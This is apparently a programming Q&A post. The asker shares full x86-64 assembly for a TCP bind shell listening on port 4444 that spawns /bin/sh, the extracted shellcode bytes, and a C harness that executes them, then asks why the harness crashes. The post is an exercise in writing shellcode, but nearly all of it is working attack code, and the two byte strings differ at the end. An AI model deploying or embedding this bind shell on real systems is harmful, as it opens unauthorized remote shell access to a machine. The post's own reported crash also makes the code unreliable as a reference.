title: Segmentation fault when i try to run the extracted shellcode even if there is no null
body: <p>I am writing an TCP bind Shell using 64 bit</p>
  
  <pre><code>global _start
  
  section .text
  
  _start:
  
          ;Initializing the registers to make the syscalls
          ; sock = socket(AF_INET, SOCK_STREAM, 0)
          ; AF_INET = 2
          ; SOCK_STREAM = 1
          ; syscall number 41
  
          xor rax, rax
          xor rdi, rdi
          xor rsi, rsi
          push 0x29
          pop rax
          push 0x2
          pop rdi
          inc rsi
          syscall
  
          ; copying the socket descripter from rax to rdi register so that we can use it further 
          xchg rax, rdi
  
          ; server.sin_family = AF_INET 
          ; server.sin_port = htons(PORT)
          ; server.sin_addr.s_addr = INADDR_ANY
          ; bzero(&amp;server.sin_zero, 8)
  
          ; setting up the data sctructure
  
          xor rax, rax 
  
          mov dword [rsp - 4] , eax   ; we are pushing 8 zero's into the eax register
          mov word [rsp - 6] ,0x5c11  ; htons value for(4444) obtained from python then encoded with hex
          mov byte [rsp - 8] , 0x2    ; adding the AF_INET constant value 
          sub rsp , 8                 ; subtracting 8 bytes so that the argument will be aligned in the top of the register
  
          ; bind(sock, (struct sockaddr *)&amp;server, sockaddr_len)
          ; syscall number 49
          add al, 0x31
          mov rsi, rsp
          add dl, 0x10
          syscall
  
          ;listen the sockets for the incomming connections    
          ; listen(sock, MAX_CLIENTS)
          ; syscall number 50
          cdq
          push 0x32
          pop rax
          xor rsi, rsi
          add rsi, 0x2
          syscall
  
          ; new = accept(sock, (struct sockaddr *)&amp;client, &amp;sockaddr_len)
          ;syscall number 43
          xor rax, rax
          add al, 0x2b
          sub rsp, 0x10
          mov rsi, rsp
          push 0x10
          mov rdx, rsp
          syscall
  
          ; storing the client socket description
          mov r9, rax
  
          ; close parent
          push 0x3
          pop rax
          syscall
  
          xchg rdi , r9
          xor rsi , rsi
  
  dup2:
          push 0x21
          pop rax
          syscall
          inc rsi
          cmp rsi , 0x2
          loopne dup2
  
          ; NASM code for Execve
          xor rax , rax
          mov rdx , rax 
          push rax
  
          mov rbx, 0x68732f2f6e69622f
          push rbx
  
          ; store /bin//sh address in RDI
          mov rdi, rsp
  
          ; Second NULL push
          push rax
  
  
          ; Push address of /bin//sh
          push rdi
  
          ; set RSI
          mov rsi, rsp
  
          ; Call the Execve syscall
          push 0x3b
          pop rax
          syscall
  </code></pre>
  
  <p>When I try to run the compiled executable its running fine. But if I extract the shell-code and run it with c its throwing segmentation fault core dumped.</p>
  
  <blockquote>
    <p>"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x31\x48\x89\xe6\x80\xc2\x10\x0f\x05\x99\x6a\x32\x58\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48\x83\xec\x10\x48\x89\xe6\x6a\x10\x48\x89\xe2\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x21\x58\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\xe0\xf2\x48\x31\xc0\x48\x89\xc2\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05";</p>
  </blockquote>
  
  <p>Help me figure what's wrong in this</p>
  
  <p><strong>shellcode.c</strong></p>
  
  <pre><code>#include&lt;stdio.h&gt;
  #include&lt;string.h&gt;
  
  unsigned char code[] = \
  "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x31\x48\x89\xe6\x80\xc2\x10\x0f\x05\x99\x6a\x32\x58\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48\x83\xec\x10\x48\x89\xe6\x6a\x10\x48\x89\xe2\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x21\x58\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\xe0\xf2\x48\x31\xf6\x48\xf7\xe6\x66\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05";
  
  main()
  {
  
      printf("Shellcode Length:  %d\n", (int)strlen(code));
  
      int (*ret)() = (int(*)())code;
  
      ret();
  
  }
  </code></pre>